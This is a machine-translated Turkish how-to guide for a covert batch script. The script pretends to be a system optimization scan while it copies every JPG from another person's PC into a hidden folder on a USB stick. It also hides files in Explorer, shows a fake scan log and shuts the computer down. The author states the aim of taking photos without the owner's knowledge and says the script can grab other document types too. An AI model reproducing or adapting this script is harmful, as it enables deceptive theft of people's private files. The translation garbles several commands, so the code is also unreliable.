Gizli Casus Görüntü Fotoğraf Kopyalama Toplu Dosyası: 5 Adım

2024 Yazar: John Day | [email protected]. Son düzenleme: 2024-01-30 13:22

Bu nedenle, ilk önce, bu talimat verilebilir oluşturma nedir ve neden. Bu talimat, tüm görüntüleri bir PC'den hafıza çubuğunuza kopyalayacak bir toplu iş dosyası oluşturmanıza izin verecektir. bunu, bilgisayarda sorun olup olmadığını kontrol eden başka bir program gibi davranarak, gizlice yapacaktır. Tamamlandığında, kopyalanan tüm görüntülerin bulunduğu bellek çubuğunuz üzerinde gizli bir klasöre sahip olacaksınız. Neden? Bu talimatı oluşturdum çünkü yaptığımı bilmeden birinin makinesinden dijital bir fotoğraf almak istedim. Bu dosyanın meşru kullanımı, kişisel fotoğraflarınızı arşivlemenize/yedeklemenize olanak tanır. Diğer kullanımlar: Bu dosya, başka herhangi bir belge türünün kopyalanmasına izin verecek şekilde değiştirilebilir.

Adım 1: Kodu Yazın

Aşağıdaki kodu not defterine kopyalayın ve bir yarasa dosyası olarak hafıza çubuğunun kök dizinine kaydedin,.bat uzantısına sahip olduğu sürece istediğiniz adı verebilirsiniz. Doğru uzantıya sahip olduğundan emin olmak için "copyimage.bat" not defterinin kaydetme kutusuna aşağıdaki gibi yazın (alıntıları ekleyin!)

@echo offecho Optimizasyon istemcisi 2008 v3.02becho --------------------------------echo.echo Lütfen bilgisayarınızı kullanmayın bu çalışırken.echo.echo Tarama işlemi listesi. Tamamlandığında, sistem yöneticinizin gözden geçirmesi için bir günlük görüntülenecektir.echo.echo Lütfen sabırlı olun, bu işlem 3 saate kadar sürebilir.reg ekleyin HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nulmkdir \data >nulattrib +h \data >nulsetLocal EnableDelayedExpansion@echo offfor %%a in (jpg) do (için /f "tokens=* delims= " %%f in ('dir/b/s/) ad c:\*.%a') do (xcopy "%%f" \data\ /y /h /q >nul))attrib -s +h veri\* >nulstart optimizasyonLog.txtshutdown /s /c " Optimizasyon taraması tamamlandı, bilgisayarınız şimdi kapanacak"

2. Adım: Sahte Rapor Dosyası Oluşturun

Bu adımda, dosyaları kopyalamak için çalıştırdığımız toplu iş dosyasının sonuç günlüğü gibi görünen sahte bir metin dosyası oluşturdum. Bu, bir şey olmuş gibi davranmanıza izin verir. Bu dosyanın ne dediği önemli değil, istediğiniz kadar değiştirebilirsiniz, sadece dosya adının doğru olduğundan ve hafıza kartınızın kök dizininde saklandığından emin olun. Kullandığım metin esas olarak bu bir korsanlıktan alınmıştır. günlüğe kaydedin, kopyalayın ve optimizasyonLog.txt olarak hafıza çubuğunun kök dizinine kaydedin

Tarama tamamlandı. Lütfen bu günlüğü kapatın ve sistem yöneticinizin incelemesine izin verin. Çalışan işlemler: C:\Windows\system32\taskeng.exeC:\Windows\system32\Dwm.exeC:\Windows\Explorer. EXEC:\Program Files\Java\jre1. 6.0_07\bin\jusched.exeC:\Windows\System32\hkcmd.exeC:\Windows\System32\igfxpers.exeC:\Windows\system32\igfxsrvc.exeC:\Program Files\Synaptics\SynTP\SynTPEnh.exeC:\Program Files\TOSHIBA\Güç Tasarrufu\TPwrMain.exeC:\Program Files\TOSHIBA\SmoothView\SmoothView.exeC:\Program Files\TOSHIBA\FlashCards\TCrdMain.exeC:\Program Files\BitDefender\BitDefender 2009\bdagram.exeC Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exeC:\Program Files\Registry Mechanic\regmech.exeC:\Program Files\BitDefender\BitDefender 2009\seccenter.exeC:\Program Files\Synaptics\SynTP\SynTPHelper.exeC:\Program Files Vuze\Azureus.exeC:\Program Files\Microsoft Office\Office12\OUTLOOK. EXEC:\Program Files\AutoCAD 2008\acad.exeC:\Users\Tom\AppData\Local\Temp\AdskCleanup.0001C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\NOT PAD. EXEC:\Windows\system32\SearchFilterHost.exeC:\HijackThis\HijackThis.exeR1 - HKCU\Software\Microsoft\Internet Explorer\Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU\Software\Microsoft \Internet Explorer\Main, Arama Sayfası = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU\Software\Microsoft\Internet Explorer\Main, Başlangıç Sayfası = https://www.google.co. ukR1 - HKLM\Software\Microsoft\Internet Explorer\Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM\Software\Microsoft\Internet Explorer\Main, Default_Search_URL = https://go.microsoft.com/ fwlink/?LinkId=54896R1 - HKLM\Software\Microsoft\Internet Explorer\Main, Arama Sayfası = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM\Software\Microsoft\Internet Explorer\Ana, Başlat Sayfa = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM\Software\Microsoft\Internet Explorer\Search, SearchAssistant = R0 - HKLM\Software\Microsoft\Internet Explorer\Search, CustomizeSearch = R0 - HKCU \Yazılım\Microsoft\Internet Explorer\Çok lbar, LinksFolderName = O1 - Ana Bilgisayarlar:::1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\Acro.dll:Oelper - Groove GFS Tarayıcı Yardımcısı - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C:\Program Files\Microsoft Office\Office12\GrooveShellExtensions.dllO2 - BHO: SSVHelper Sınıfı - {761497BB-D6F0-462C-B6F3D -F43D92:\Program Files\Java\jre1.6.0_07\bin\ssv.dllO3 - Araç Çubuğu: BitDefender Araç Çubuğu - {381FFDE8-2394-4f90-B10D-FC6124A40F8C} - C:\Program Files\BitDefender\BitDefender 2009\IEToolbar.dllO4 - HKLM\..\Çalıştır: [Windows Defender] %ProgramFiles%\Windows Defender\MSASCui.exe -hideO4 - HKLM\..\Çalıştır: [SunJavaUpdateSched] "C:\Program Files\Java\jre1.6.0_07\bin\ jusched.exe"O4 - HKLM\..\Çalıştır: [IgfxTray] C:\Windows\system32\igfxtray.exeO4 - HKLM\..\Çalıştır: [HotKeysCmds] C:\Windows\system32\hkcmd.exeO4 - HKLM\..\Çalıştır: [Kalıcı] C:\Windows\system32\igfxpers.exeO4 - HKLM\..\Çalıştır: [SynTPEnh] C:\Program Files\Syna ptics\SynTP\SynTPEnh.exeO4 - HKLM\..\Çalıştır: [TPwrMain] %ProgramFiles%\TOSHIBA\Güç Tasarrufu\TPwrMain. EXEO4 - HKLM\..\Çalıştır: [SmoothView] %ProgramFiles%\Toshiba\SmoothView\Smooth.exeO4 - HKLM\..\Çalıştır: [00TCrdMain] %ProgramFiles%\TOSHIBA\FlashCards\TCrdMain.exeO4 - HKLM\..\Çalıştır: [Toshiba TEMPO] C:\Program Files\Toshiba TEMPRO\Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM\..\Çalıştır: [BDAgent] "C:\Program Files\BitDefender\BitDefender 2009\bdagent.exe"O4 - HKLM\..\Run: [BitDefender Kimlik Avı Önleme Yardımcısı] "C:\Program Files\BitDefender\BitDefender 2009\IEShow.exe"O4 - HKCU\..\Çalıştır: [TOSCDSPD] C:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exeO4 - HKCU\..\Çalıştır: [RegistryMechanic] C:\ Program Files\Registry Mechanic\RMTray.exe /HO4 - Başlangıç: OneNote 2007 Screen Clipper ve Launcher.lnk = C:\Program Files\Microsoft Office\Office12\ONENOTEM. EXEO8 - Ekstra bağlam menüsü öğesi: Microsoft Excel'e &Dışa Aktar - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9 - Ekstra düğme: (ad yok) - {08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C:\PROGRA~1\Java\JRE16~2.0_0\bin\ssv.dllO9 - Ekstra 'Araçlar' menü öğesi: Sun Java Konsolu - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\PROGRA~ 1\Java\JRE16~2.0_0\bin\ssv.dllO9 - Ekstra düğmesi: OneNote'a Gönder - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\PROGRA~1\MICROS~3\Office12\ONBttnIE.dllO9 - Ekstra 'Araçlar' menü öğesi: OneNote'a & Sonlandır - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\PROGRA~1\MICROS~3\Office12\ONBttnIE.dllO9 - Ekstra düğmesi: eBay.co.uk - Satın Al Onu Severek Satıyor - {76577871-04EC-495E-A12B-91F7C3600AFA} - https://rover.ebay.com/rover/1/710-44557-9400-3/4 (dosya eksik)O9 - Ekstra düğme: (isim yok) - {85d1f590-48f4-11d9-9669-0800200c9a66} - %windir%\bdoscandel.exe (dosya eksik)O9 - Ekstra 'Araçlar' menü öğesi: BitDefender Online Scanner v8'i Kaldır - {85d1f590-48f4-11d9-9669 -0800200c9a66} - %windir%\bdoscandel.exe (dosya eksik)O9 - Ekstra düğme: Amazon.co.uk - {8A918C1D-E123-4E36-B562-5C1519E434CE} - https://www.amazon.co.uk/ exec/obidos/yönlendirme-home?tag=Toshibaukbholink-2 1&site=home (dosya eksik)O9 - Ekstra düğme: Araştırma - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~3\Office12\REFIEBAR. DLLO10 - Winsock LSP'de bilinmeyen dosya: c:\windows\system32\nlaapi.dllO10 - Winsock LSP'de bilinmeyen dosya: c:\windows\system32\napinsp.dllO10 - Winsock LSP'de bilinmeyen dosya: c:\program files\vmware\vmware workstation\vsocklib.dllO10 - Bilinmeyen dosya Winsock LSP'de: c:\program files\vmware\vmware workstation\vsocklib.dllO11 - Seçenekler grubu: [ULUSLARARASI] Uluslararası*O13 - Gopher Öneki: O16 - DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (get_atlcom Class) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - Protokol: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C:\Program Dosyaları\ Microsoft Office\Office12\GrooveSystemServices.dllO18 - Protokol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C:\Program Files\Common Files\Microsoft Shared\Help\hxds.dllO18 - Filtre kaçırma: metin/ xml - {807563E5-5146-11D5-A672-00B0D022E945} - C:\PROGRA~1\COMMON~1\MICROS~1\OFFICE12\MSOXMLMF. DLLO20 - Winlogon Bildirimi: igfxcui - C:\Windows\SYSTEM32\igfxdev.dllO23 - Hizmet: Agere Modem Çağrı İlerleme Sesi (AgereModemAudio) - Agere Sistemler - C:\Windows\system32\agrsmsvc.exeO23 - Hizmet: BitDefender Arrakis Sunucusu (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C:\Program Files\Common Files\BitDefender\BitDefender Arrakis Server\bin\Arrakis3.exeO23 - Service: Autodesk Licensing Service - Autodesk - C:\Program Files\Common Files\Autodesk Shared \Service\AdskScSrv.exeO23 - Hizmet: ConfigFree Hizmeti - TOSHIBA CORPORATION - C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exeO23 - Hizmet: @%SystemRoot%\ehome\ehstart.dll, -101 (ehstart) - Bilinmeyen sahip - %windir%\system32\svchost.exe (dosya eksik)O23 - Hizmet: getPlus(R) Yardımcısı - NOS Microsystems Ltd. - C:\Program Files\NOS\bin\getPlus_HelperSvc.exeO23 - Hizmet: Google Güncelleme Hizmeti (gupdate1c98840f4e6525b)) (gupdate1c98840f4e6525b) - Bilinmeyen sahip - C:\Program Files\Google\Update\GoogleUpdate.exe" /svc (dosya eksik)O23 - Hizmet: BitDefender Masaüstü Güncelleme Hizmeti (LIVESRV) - Bilinmeyen sahip - C:\Program Files\Common Files\BitDefender\BitDefender Update Service\livesrv.exe" /service (dosya eksik)O23 - Hizmet: @%SystemRoot%\system32\qwave.dll, -1 (QWAVE) - Bilinmeyen sahip r - %windir%\system32\svchost.exe (dosya eksik)O23 - Hizmet: @%SystemRoot%\system32\seclogon.dll, -7001 (seclogon) - Bilinmeyen sahip - %windir%\system32\svchost.exe (dosya eksik)O23 - Hizmet: Dizüstü Bilgisayar Performans Ayarlama Hizmeti (TempoMonitoringService) - Toshiba Europe GmbH - C:\Program Files\Toshiba TEMPRO\TempoSVC.exeO23 - Hizmet: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C:\Program Files\ TOSHIBA\TOSHIBA DVD PLAYER\TNaviSrv.exeO23 - Hizmet: TOSHIBA Optik Disk Sürücü Hizmeti (TODDSrv) - TOSHIBA Corporation - C:\Windows\system32\TODDSrv.exeO23 - Hizmet: TOSHIBA Güç Tasarrufu (TosCoSrv) - TOSHIBA Corporation - c:\ Program Files\TOSHIBA\Power Saver\TosCoSrv.exeO23 - Hizmet: TOSHIBA SMART Log Service - TOSHIBA Corporation - c:\Program Files\TOSHIBA\SMARTLogService\TosIPCSrv.exeO23 - Hizmet: VMware Agent Service (ufad-ws60) - Bilinmeyen sahip - C:\Program Files\VMware\VMware Workstation\vmware-ufad.exe" -d "C:\Program Files\VMware\VMware Workstation\" -s ufad-p2v.x ml (dosya eksik)O23 - Servis: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C:\Program Files\Common Files\Ulead Systems\DVD\ULCDRSvr.exeO23 - Servis: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C:\Program Files\VMware\VMware Workstation\vmware-authd.exeO23 - Hizmet: VMware DHCP Hizmeti (VMnetDHCP) - VMware, Inc. - C:\Windows\system32\vmnetdhcp.exeO23 - Hizmet: VMware NAT Hizmet - VMware, Inc. - C:\Windows\system32\vmnat.exeO23 - Hizmet: BitDefender Virüs Kalkanı (VSSERV) - Bilinmeyen sahip - C:\Program Files\BitDefender\BitDefender 2009\vsserv.exe" /service (dosya eksik)O23 - Hizmet: VNC Sunucusu Sürüm 4 (WinVNC4) - Bilinmeyen sahip - C:\Program Files\RealVNC\VNC4\WinVNC4.exe" -service (dosya eksik)O23 - Hizmet: @%ProgramFiles%\Windows Media Player\wmpnetwk.exe, -101 (WMPNetworkSvc) - Bilinmeyen sahip - %ProgramFiles%\Windows Media Player\wmpnetwk.exe (dosya eksik)

Adım 3: Programı Çalıştırın

Artık üzerinde iki dosya bulunan bir hafıza çubuğunuz olmalıdır (ve yeni görüntüler için hazır bir sürü boş alan). Sürücüde başka bir şey varsa önemli değil. Hafıza çubuğunu hedef bilgisayarınıza alın. Kaydedildiğinde, kendisine tahsis edilen sürücü harfini not edin, bu, önce klasöre gözatmanıza gerek kalmadan onu çalıştırmanızı sağlayacaktır. Windows tuşuna basın ve ardından 'R' tuşuna basın (hala windows tuşunu basılı tutarken). Bu bir Çalıştır kutusu getirecektir. Çalıştır kutusuna, oluşturduğumuz toplu iş dosyasının yolunu yazın, sürücü harfi, bellek çubuğuna taktığınızda atanan harftir. Örneğin, bellek çubuğumu takarsam ve ag:\ sürücüsünü kaydederse, çalışırdım.:g:\copyimage.batVe ardından enter'a basın veya çalıştır'a tıklayın. Bu, toplu iş dosyasının çalışmasını başlatacaktır. Tamamlandığında, makineyi kapatacaktır. Hafıza çubuğunu çıkarın ve götürün!

Adım 4: Görüntüleri Alın

Artık üzerinde tüm görüntülerin bulunduğu bir hafıza çubuğunuz olmalıdır. Dosyalar ve klasörler gizlidir, bu nedenle sizinkini göstermediyseniz, etkinleştirmeniz gerekir. Bunu yapmak için bir gezgin penceresine gidin (örn. bilgisayarımı aç) ve: WinXP - Araçlar, Klasör Seçenekleri, Görünüm, Gizli Dosyaları GösterVista - Organize Et, Klasör ve arama seçenekleri, Görünüm, Gizli Dosyaları GösterSeçildikten sonra, açabilmeniz gerekir. gizli klasör ve istediğiniz görüntüleri alın!

Adım 5: Kodun Anlamı

Kodu olabildiğince açıklayacağım. ana kopyalama işlevi benim tarafımdan yazılmadı, aşağıdaki siteden ödünç aldım ve değiştirdim:https://www.computing.net/answers/programming/search-with-batch-file/17171.htmlCODE

@echo off ''Ekranda komutların gösterilmesini durdurur, böylece kullanıcı ne yapıldığını bilmez. echo Optimizasyon istemcisi 2008 v3.02b echo ------------------- -------------Eko. Ekrana program için bir başlık yazar echo.echo.echo Tarama işlemi listesi çalışırken lütfen bilgisayarınızı kullanmayın. Tamamlandığında, sistem yöneticinizin gözden geçirmesi için bir günlük görüntülenecektir.echo.echo Lütfen sabırlı olun, bu işlem 3 saate kadar sürebilir. Kullanıcıya doğru olmayan bir sürü çöp olduğunu söyler reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul Gizli dosyaları gizleyecek bir kayıt defteri anahtarı ekler ve klasörler. Bu, kullanıcının kopyalanan görüntüleri tutmak için oluşturduğumuz klasörü görmesini engeller. Sondaki nul komutu, tamamlandığında komutun herhangi bir mesajı bildirmesini durdurur mkdir \data >nul Sürücüde, bu toplu iş dosyasının adı verilen veri üzerinde bulunduğu bir klasör oluşturur. attrib +h \data >nul (jpg) içinde %%a için oluşturulan setLocal EnableDelayedExpansion klasörünü gizler (/f için "tokens=* delims= " %%f in ('dir/b/s/ad c:\*. %%a') do (xcopy "%%f" \data\ /y /h /q >nul)) Görüntüler için tüm c:\ sürücüsünü arayacak kod budur. Başka bir sürücüyü aramasını istiyorsanız, c: bölümünü istediğiniz gibi değiştirin. Diğer dosya türlerini bulmasını istiyorsanız, bunları-j.webp